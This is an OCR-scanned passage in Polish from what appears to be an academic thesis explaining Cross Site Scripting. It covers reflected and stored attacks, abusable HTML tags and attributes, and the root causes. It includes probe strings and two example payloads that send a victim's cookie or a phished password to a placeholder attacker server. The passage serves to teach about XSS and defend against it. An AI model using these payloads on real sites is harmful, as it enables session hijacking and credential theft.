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Cross Site Scripting (XSS"), obok iniekcji kodu SQL, jest jednym z najbardziej znanych i
rozpowszechnionych atakéw na aplikacje bazodanowe dziatajace w sieci Internet. W rankingu
incydentow konsorcjum bezpieczenstwa stron WWW (Web Application Security Consortium)
zajmuje pierwsze miejsce [WWW6]. Byl szeroko opisywany nie tylko w mediach
specjalistycznych, ale 1 w zwyklej prasie 1 magazynach [Endl02, s.4]. Swoja popularnos$c
zawdzigcza migdzy innymi temu, Ze jego ofiarami padaty nawet tak duze i popularne witryny
internetowe jak Hotmail, eBay, Google czy Yahoo [Endl02, s.4; Alsh06a, s.54]. Podatno$¢ na Cross
Site Scripting wykrywano takze na stronach duzych zachodnich bankéw [WWW4]. Tym bardziej
dziwi fakt, ze temat ten jest w papierowych pozycjach ksiazkowych czgsto opisywany bardzo
pobieznie.

Atak typu Cross Site Scripting polega na iniekcji zlosliwego kodu w oryginalng tre$¢ strony.
Aby agresor mogt skutecznie wykorzysta¢ taka lukg, uzytkownik koncowy musi podja¢ jakie$
dziatania — moze to by¢ kliknigcie na spreparowanym taczu lub odwiedzenie strony, w ktora
wstrzyknigto wrogi kod [ScSh02, s.291]. Kod ten jest najczesciej tworzony przy uzyciu jezyka
skryptowego JavaScript, ale rownie dobrze moga by¢ do tego wykorzystane takze inne technologie
wykonywane po stronie klienta, takie jak Ajax, VBScript czy Flash. Atak XSS jest o tyle
specyficzny, ze jego celem w pierwsze] kolejnosci nie jest witryna sama w sobie, lecz jej
uzytkownicy. Wykorzystane jest tutaj zaufanie, jakim korzystajacy ze strony ja obdarza, natomiast
sama strona staje si¢ nieSwiadomym wspotsprawca ataku [Gajd05, s.95]. Cross Site Scripting
dotyka szczegdlnie te strony internetowe, gdzie zachodzi interakcja z uzytkownikami lub tez
wyswietlane sa jakiekolwiek dane pochodzace z zewnatrz, spoza aplikacji, np. fora internetowe,
serwisy aukcyjne, sklepy internetowe z opcja komentowania i recenzowania produktow, systemy
kont pocztowych dostepne przez protokot HTTP, otwarte systemy encyklopedyczne Wiki 1 wiele,
wiele innych. Podatne moga by¢ nawet moduly wyszukiwania oraz strony wyswietlajace

komunikaty btedow [OWASPO04, s.11].

Cross Site Scripting pozwala napastnikowi migdzy innymi na wykradnigcie warto$ci

1 Poczatkowo Cross Site Scripting w skrocie nazywano CSS, ale w zwiazku z faktem, ze takiego samego
akronimu uzywa si¢ na okre§lenie kaskadowych arkuszy stylow (ang. Cascading Style Sheets), dla
uniknigcia nieporozumien przyje¢to skrot XSS. Natomiast je§li chodzi o polski odpowiednik terminu
Cross Site Scripting, to tylko w jednej pozycji ksiazkowej [MMVEMO04, s.22] zaproponowano
enigmatycznie brzmiace okreslenie “skryptowanie skrosne”. W innych polskich pracach i przektadach

powszechnie uzywa si¢ nazwy angielskiej.
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przechowywanych w ciasteczkach (ang. cookies). Najczgsciej sa one uzywane do identyfikacji
uzytkownika, dlatego zdobycie ich przez napastnika umozliwia przejgcie sesji i konta, a w
konsekwencji wykonanie okreslonych operacji z poziomem uprawnien zalogowanego uzytkownika
[AlshO6a, s.54]. Jesli ofiara jest administrator systemu skutki moga by¢ bardzo powazne. XSS moze
takze postuzy¢ do przekierowania uzytkownika na inng strong, instalacj¢ szkodliwego programu
(konia trojanskiego), a takze do zmieniania i fatlszowania zawarto$ci witryny [OWASPO04, s.11].
Szczegbdlnie nie nalezy lekcewazy¢ tego ostatniego zagrozenia. Przykladowo modyfikacja
wiadomosci prasowej na witrynie moze mie¢ wptyw na zmiang ceny akcji danego przedsigbiorstwa

na gietdzie czy tez na poziom zaufania klientéw wobec firmy [OWASP04, s.11].
Atak XSS sktada si¢ z nastgpujacych etapéw [Gajd05, s.95; Zuch03] :
(1) odnalezienie luki, a nastgpnie przekazanie do aplikacji ztosliwego kodu,
(2) nieswiadome pobranie 1 wykonania tego kodu przez ofiarg,
(3) dodatkowe akcje wykonywane przez atakujacego.

Odnalezienie luki i1 sprawdzenie czy dana aplikacja jest podatna na Cross Site Scripting to
niezbyt trudne zadanie. W wigkszosci przypadkow sprowadza si¢ do zmudnego wprowadzania w

pola formularzy HTML odpowiednio przygotowanego kodu, np. [WWWS5]

';alert (String. fromCharCode (88,83,83))//\';alert (String.fromCharCode (88,83, 83))
//";alert (String. fromCharCode (88,83,83))//\";alert (String.fromCharCode (88, 83,83
))//></script>!--<script>alert (String.fromCharCode (88,83, 83))</script>=&{}

Wykonanie powyzszych instrukcji jezyka JavaScript spowoduje wyswietlenie monitu z
komunikatem o tresci “XSS” (jesli tylko wystepuje podatnos¢). Jezeli pole do wprowadzania tresci
w formularzu nie pozwala na umieszczenie w nim zbyt wielu znakow mozna skorzysta¢ z nieco

skroconej wersji [WWWS5] :

Ty l=="<XSS>=61{ () }

W tym przypadku wystarczy zajrze¢ do zrdodta strony 1 zobaczy¢ czy w tresci wystgpuje ciag
<XSSs czy tez &1t;xssS. Ten pierwszy oznacza, ze witryna nie posiada odpowiednich filtrow danych
wejsciowych 1 jest podatna na atak. Warto zaznaczy¢, ze cata procedura sprawdzania wcale nie
musi odbywac si¢ poprzez pola formularzy, czyli poprzez metode¢ HTTP POST. Réwnie dobrze

mozna uzy¢ zadania GET, np.

http://atakowana strona/podstrona.php?komunikat=<script>alert (“Podatne na atak
XSS”)</script>



W rezultacie powyzszy kod wys$wietli monit z komunikatem “Podatne na atak XSS”, dzigki

czemu atakujacy bedzie mogt przejs¢ do kolejnego etapu.

Po odnalezieniu luki napastnik moze przystapi¢ do ataku. Wyrdznia si¢ dwa podstawowe

sposoby jego przeprowadzania : bezposredni 1 trwaty.

Atak bezposredni? polega na dostarczeniu ofierze specjalnie spreparowanego odnosnika (linka),
po ktorego kliknigciu uzytkownik przechodzi na strong, a nast¢pnie przegladarka internetowa
wykonuje ztosliwy kod znajdujacy si¢ w adresie URL [WASCO04a, s.25]. Wbrew pozorom,
sktonienie ofiary do uruchomienia takiego odno$nika nie wymaga szczegdlnie wymyslnych
zabiegow. Najczesciej wysyla si¢ e-mail o tresci zachgcajacej do kliknigcia w znajdujacy si¢ tam
link, w zaleznosci od charakteru atakowanego serwisu moze to by¢ przyktadowo bardzo kuszaca
promocja w sklepie internetowym, informacja o wygranej nagrodzie albo chociazby informacja o

otrzymanej internetowej kartce pocztowej. Link ten moze wyglada¢ nastgpujaco : [WASCO04a, s.26]

http://atakowana strona/?nazwa=<script>document.location="http://serwer atakuja
cego/czytaj cookies.php?cookie="+document.cookie</script>

Uruchomienie powyzszego odnos$nika w efekcie spowoduje przekierowanie na serwer
napastnika, gdzie zostanie przez niego odczytana warto§¢ ciasteczka (cookie). Poniewaz
przedstawiony adres URL moze tatwo wzbudzi¢ podejrzenia ofiary, czgsto czg$¢ adresu zawierajaca

kod JavaScript jest kodowana.
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Rysunek 1: Przebieg ataku bezposredniego Cross Site Scripting
Zrédto: Opracowanie whasne.

W przypadku ataku trwatego®, zto$liwy kod zostaje wklejony bezposrednio na strong i w

2 W literaturze dla okre$lenia tego ataku uzywa si¢ nastgpujacych angielskojezycznych termindw : direct

attack [Alsh05a, s.54], non-persistent attack [WASCO04a, s.25] oraz reflected attack [OWASP04, s.11].

3 W literaturze uzywa si¢ nastgpujacych angielskoj¢zyczne okreslen opisujace ten typ ataku : stored



wyniku braku odpowiednich zabezpieczen zostaje zapisany takze w bazie danych. Ofiara zostaje
zaatakowana w momencie odwiedzenia witryny. Wtedy przegladarka wykonuje kod wcze$niej
wstrzyknigty przez atakujacego [OWASPO04, s.11]. W praktyce atak ten dotyka wszystkich, ktérzy
odwiedzaja dana strong, przez co jego zakres jest o wiele wigkszy, a konsekwencje o wiele
grozniejsze niz w przypadku ataku bezposredniego. Jest takze tatwiejszy do przeprowadzenia,
poniewaz napastnik wcale nie musi wysyta¢ jakichkolwiek e-maili, ani nikogo przekonywa¢ do
wejscia na strong. Uzytkownicy sami wpadaja w putapke wykonujac zwyczajowe czynnosci na
witrynie. Z drugiej strony atak trwaly jest tez tatwiejszy do wykrycia, gdyz administrator i
uzytkownicy moga odkry¢ w zrodtach wynikowej strony ztosliwy kod i przedsigwzia¢ odpowiednie
kroki. W przypadku ataku bezposredniego jest inaczej, kod zostaje wstrzyknigty tylko jednokrotnie,
bezposrednio po uruchomieniu spreparowanego odnos$nika. Wrogi kod wykorzystywany w ataku

trwalym moze wyglada¢ nastepujaco : [ScSh02, s.290]

<script>location.href="http://serwer atakujacego/czytaj haslo.php?haslo="+promp
t (“Skonczyt sie czas Twojej sesji. Wpisz hasto, aby kontynuowaé.','');</script>

Efektem dziatania tego skryptu jest wyswietlenie falszywego komunikatu o wygasnigciu sesji.
Uzytkownik jest proszony o podanie swojego hasta, po czym nastgpuje przekierowanie do serwera

napastnika z hastem uzytkownika jako jednym z parametréw adresu.
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Rysunek 2: Przebieg ataku trwatego Cross Site Scripting
Zrédto: Opracowanie whasne.

[AlshO5a, s.95; OWASPO04, s.11], persistent [WASCO04a, s.25], a takze HTML Injection [FuenO5;
Pett04].



Lista znacznikéw oraz atrybutow HTML, ktoére moga by¢ wykorzystane do przeprowadzania

ataku Cross Site Scripting, zostala przedstawiona w tabelach 11 2.

Znacznik Uzycie Zagrozenie
<SCRIPT> Osadzanie skryptow JavaScript, Wykonanie wrogiego kodu
Jscript, VBScript, itp.
<APPLET> Osadzanie apletow Javy Wykonanie wrogiego kodu
<EMBED> Osadzanie zewngtrznych obiektow. | Wykonanie wrogiego kodu
<OBJECT> Kontrolki ActiveX, aplety, pluginy,
itp.
<XML> Osadzanie kodu XML. Wykonanie wrogiego kodu
<STYLE> ie 1 i1 3 . .
ggasdzame instrukcji arkuszy Stylow | s awiera type=text/javascript
' (arkusz stylow JavaScript)

Tabela 1: Znaczniki HTML, ktore moga by¢ wykorzystane do przeprowadzenia ataku XSS
Zrédto: Opracowano na podstawie [EURO05]

o Wartos¢ . .
Atrybut Znaczniki Pierwotne przeznaczenie
atrybutu
href A, LINK Adres URL Odno$nik.
src FRAME, IFRAME, Adres URL Odno$nik do innego dokumentu
INPUT type=image, HTML lub obiektu, np. pliku
BGSOUND, IMG graficznego lub muzycznego.
dynsrc IMG Adres URL Odnosnik do filmu AVI.
lowsrc IMG Adres URL Odno$nik do pliku graficznego.
zdarzenia Niemal kazdy znacznik Kod JavaScript | Wykonanie kodu, kiedy nastapi
JavaScript dane zdarzenie.
np.
“onClick”
background BODY, TABLE, TR, TD, | Adres URL Odnos$nik do obrazka uzywanego
TH jak tho.
style="backg | Niemal kazdy znacznik Adres URL Odnosnik do pliku uzywanego w
round-image: stylach.
url(...)"”
style="behav |Niemal kazdy znacznik | Adres URL Odnoénik do pliku uzywanego w
iour:url(..) stylach.
style="bindi |Niemal kazdy znacznik | Adres URL Odnosnik do pliku uzywanego w
ng:url(...)” stylach.
style="width |Niemal kazdy znacznik | Wykonywalny | Wyrazenie JavaScript dynamicznie
rexpression ( kod dostosowujace szerokos¢
a7 znacznika.
content="0;u |META Adres URL Odnosnik do inego dokumentu
rl=..." HTML.

Tabela 2: Atrybuty HTML, ktére moga by¢ wykorzystane do przeprowadzenia ataku XSS
Zrédto: Opracowano na podstawie [EURO05]




Jak wida¢, w ataku XSS moze by¢ uzytych wiele mozliwych elementdw poprzez naduzycie ich
pierwotnego przeznaczenia. Zagrozeniem zwigzanym ze znacznikami HTML jest niemal zawsze
wykonanie wrogiego kodu JavaScript. W przypadku, gdy wartoscia atrybutu jest adres URL,
mozliwe jest to dzigki uzyciu protokotu javascript, np. <a

href="javascript:kod”>odnosnik</a>.

Ostatnim etapem skutecznego ataku XSS jest wykonanie dodatkowych akcji przez atakujacego.
Rozumie si¢ tutaj migdzy innymi przygotowanie specjalnego serwera i skryptu, ktory bedzie
przechwytywat informacje od niczego nie spodziewajacych si¢ uzytkownikow [ScSh02, s.290]. Ich
celem mogloby by¢ na przyktad zapisywanie wartosci ciasteczek w pliku lub w bazie, a nast¢pnie
powiadomienie atakujacego o tym fakcie. W kolejnym kroku uzytkownik moze by¢ przekierowany
z powrotem na pierwotng strong. Co wigcej, przy wykorzystaniu technologii Ajax caty proces

odbywa si¢ dla ofiary zupetnie niezauwazony.

Opisany w tym podpunkcie schemat dziatania Cross Site Scripting wykorzystuje trzy

potencjalnie luki w bezpieczenstwie aplikacji internetowej [Gajd05, s.95]:

(1) aplikacja wpuszcza ztosliwy kod — brak weryfikacji danych pochodzacych od osoby
atakujacej,

(2) aplikacja wypuszcza ztosliwy kod — brak ponownej walidacji, czyli weryfikacji danych
pochodzacych z bazy danych zanim zostana przekazane do przegladarki 1 wyswietlone

uzytkownikowi,

(3) przegladarka klienta wykonuje zlosliwy kod — ograniczona implementacja funkcji

ochronnych w przegladarkach dostgpnych na rynku.

Istotne jest, ze kazda kolejna luka jest wynikiem braku odpowiednich zabezpieczen
eliminujacych wczes$niejsze podatnosci. Najwazniejsza jest wigc odpowiednia ochrona systemu w
momencie przyjmowania danych zewngtrznych. Je$li zostana zaimplementowane odpowiednie
funkcje zabezpieczen na tym poziomie to programista nie musi si¢ juz martwi¢ o to, jakiej
przegladarki internetowej uzywaja osoby odwiedzajace strong oraz w jakim stopniu chroni ich ona

przed atakami XSS.
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